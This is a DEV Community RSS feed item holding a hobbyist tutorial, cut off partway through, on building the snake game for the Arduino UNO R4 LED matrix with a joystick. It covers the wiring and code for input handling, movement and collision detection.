<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Jaiyank S.</title>
    <description>The latest articles on DEV Community by Jaiyank S. (@siphyshu).</description>
    <link>https://dev.to/siphyshu</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F727984%2F653ae216-a893-4108-9063-1ad403fe442c.jpeg</url>
      <title>DEV Community: Jaiyank S.</title>
      <link>https://dev.to/siphyshu</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/siphyshu"/>
    <language>en</language>
    <item>
      <title>I Made the Snake Game on the Arduino UNO R4 LED Matrix with a Joystick Controller</title>
      <dc:creator>Jaiyank S.</dc:creator>
      <pubDate>Mon, 04 Dec 2023 11:51:47 +0000</pubDate>
      <link>https://dev.to/siphyshu/i-made-the-snake-game-on-the-arduino-uno-r4-led-matrix-with-a-joystick-controller-7c2</link>
      <guid>https://dev.to/siphyshu/i-made-the-snake-game-on-the-arduino-uno-r4-led-matrix-with-a-joystick-controller-7c2</guid>
      <description>&lt;p&gt;My friend (&lt;a href="https://twitter.com/EemanMajumder"&gt;Eeman Majumder&lt;/a&gt;) impulsively bought the new Arduino UNO R4 WIFI while we were hosting him at our place for a 2-week dev sprint. The day it came, we were thinking of fun things to do with it, and luckily we had a dual-axis joystick controller lying around the house. I put two and two together and built the popular retro snake game on the LED matrix! 🐍&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/1QJ83lrbu5c"&gt;
&lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  da setup 🏗️
&lt;/h2&gt;

&lt;p&gt;Let’s get some setup out of the way so we can get to the fun stuff ASAP!&lt;/p&gt;

&lt;p&gt;First we get the environment and make the electrical connections, for this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Either install the &lt;a href="https://www.arduino.cc/en/software/"&gt;Arduino IDE&lt;/a&gt; OR use the &lt;a href="https://create.arduino.cc/editor"&gt;cloud editor&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Get a &lt;a href="https://robu.in/product/joystick-module-ps2-breakout-sensor/"&gt;dual-axis joystick module&lt;/a&gt; and connect the Arduino's 5V, GND, A0, A1, and D13 to the module's 5V, GND, URX, URY, and SW respectively.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--RFrueamL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dulfxtpaxr17lva9dvls.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--RFrueamL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dulfxtpaxr17lva9dvls.png" width="800" height="470"&gt;&lt;/a&gt;&lt;br&gt;SW is connected to D2 here, but I prefer the D13 so it doesn't obstruct the LED matrix screen
  &lt;/p&gt;

&lt;p&gt;In the code, we define some constants, variables and objects that will set up the game. This includes some library imports, our input pins, the LED matrix grid and its size, the food object, the snake object and its speed, length, and direction, and finally the current and high score.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mP1ItOzL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ur7es3vp7thsfcif8ora.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mP1ItOzL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ur7es3vp7thsfcif8ora.png" alt="Setup Jar" width="521" height="479"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  main game logic 🧠
&lt;/h2&gt;

&lt;p&gt;Now that the setup is done, it’s time to implement the core game logic. Yay!&lt;/p&gt;

&lt;p&gt;We have to do a couple of things here — handle the joystick, move the snake, check for any collisions, update the screen, generate new food and add a small delay. The flowchart explains this whole process.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--yGzFxfCe--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nr3fkyya46ms9a096lo2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--yGzFxfCe--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nr3fkyya46ms9a096lo2.png" alt="Process flowchart" width="800" height="514"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Take input from joystick
&lt;/h3&gt;

&lt;p&gt;We constantly input the analog values (0 to 1024) from the joystick, normalize them to -512 to 512 in both axes (this is optional, but it just makes things clearer), then map the value to its corresponding direction.&lt;/p&gt;

&lt;p&gt;We also disallow any move from the joystick that is directly opposite of the current direction while the game is running. This is because the snake can’t go backwards — which will be considered an illegal move and end the game.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;handleJoystick&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;xValue&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;analogRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;joystickXPin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;yValue&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;analogRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;joystickYPin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;swState&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;digitalRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;joystickSwPin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="n"&gt;xMap&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;xValue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;1023&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;yMap&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;yValue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;1023&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// disallow moving in the opposite direction of current direction while the game is running&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;xMap&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="m"&gt;512&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;xMap&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;yMap&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="m"&gt;511&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;yMap&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="m"&gt;511&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;((!&lt;/span&gt;&lt;span class="n"&gt;isGameOver&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;directionPrev&lt;/span&gt; &lt;span class="p"&gt;!=&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;||&lt;/span&gt; &lt;span class="n"&gt;isGameOver&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;direction&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="c1"&gt;// Right &lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;xMap&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;xMap&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;yMap&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="m"&gt;511&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;yMap&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="m"&gt;511&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;((!&lt;/span&gt;&lt;span class="n"&gt;isGameOver&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;directionPrev&lt;/span&gt; &lt;span class="p"&gt;!=&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;||&lt;/span&gt; &lt;span class="n"&gt;isGameOver&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;direction&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="c1"&gt;// Left&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;yMap&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="m"&gt;512&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;yMap&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;xMap&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="m"&gt;511&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;xMap&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="m"&gt;511&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;((!&lt;/span&gt;&lt;span class="n"&gt;isGameOver&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;directionPrev&lt;/span&gt; &lt;span class="p"&gt;!=&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;||&lt;/span&gt; &lt;span class="n"&gt;isGameOver&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;direction&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="c1"&gt;// Up&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;yMap&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;yMap&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;xMap&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="m"&gt;511&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;xMap&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="m"&gt;511&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;((!&lt;/span&gt;&lt;span class="n"&gt;isGameOver&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;directionPrev&lt;/span&gt; &lt;span class="p"&gt;!=&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;||&lt;/span&gt; &lt;span class="n"&gt;isGameOver&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;direction&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="c1"&gt;// Down&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;isGameOver&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;directionPrev&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;direction&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Move the snake
&lt;/h3&gt;

&lt;p&gt;We have to actually make the snake move, it won’t move on its own. We shift the body of the snake (which is essentially just an array of points having XY coordinates) forward by updating the coordinates of all the points, starting from the end (tail), to the coordinates of the next point.&lt;/p&gt;

&lt;p&gt;Given the current direction, we shift the head +1 in that direction. In case it is at the wall, we wrap it around to the other side. We could disable this to make the game harder but for a pleasurable playing experience, I kept it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;moveSnake&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Move the body of the snake&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;snakeLength&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;--)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// Move the head of the snake&lt;/span&gt;
  &lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;direction&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;// Right&lt;/span&gt;
      &lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;+&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;%&lt;/span&gt; &lt;span class="n"&gt;matrixSizeX&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;// Up&lt;/span&gt;
      &lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;+&lt;/span&gt; &lt;span class="n"&gt;matrixSizeY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;%&lt;/span&gt; &lt;span class="n"&gt;matrixSizeY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;// Left&lt;/span&gt;
      &lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;+&lt;/span&gt; &lt;span class="n"&gt;matrixSizeX&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;%&lt;/span&gt; &lt;span class="n"&gt;matrixSizeX&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;// Down&lt;/span&gt;
      &lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="p"&gt;+&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;%&lt;/span&gt; &lt;span class="n"&gt;matrixSizeY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Check if a collision occurs
&lt;/h3&gt;

&lt;p&gt;We have to check two collisions — one with self and one with the food.&lt;/p&gt;

&lt;p&gt;If the snake collides with itself, we end the game. We do this by checking if the head’s position is equal to any of the points in the body’s position.&lt;/p&gt;

&lt;p&gt;If it collides with the food, we increment the snake’s length and the score and decrement the current speed by 5 if it’s still above the max speed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;checkCollisions&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Check for collision with self&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;snakeLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;++)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="c1"&gt;// Game over, restart&lt;/span&gt;
      &lt;span class="nf"&gt;gameOver&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// Check for collision with food&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="n"&gt;food&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="n"&gt;food&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;snakeLength&lt;/span&gt;&lt;span class="p"&gt;++;&lt;/span&gt;
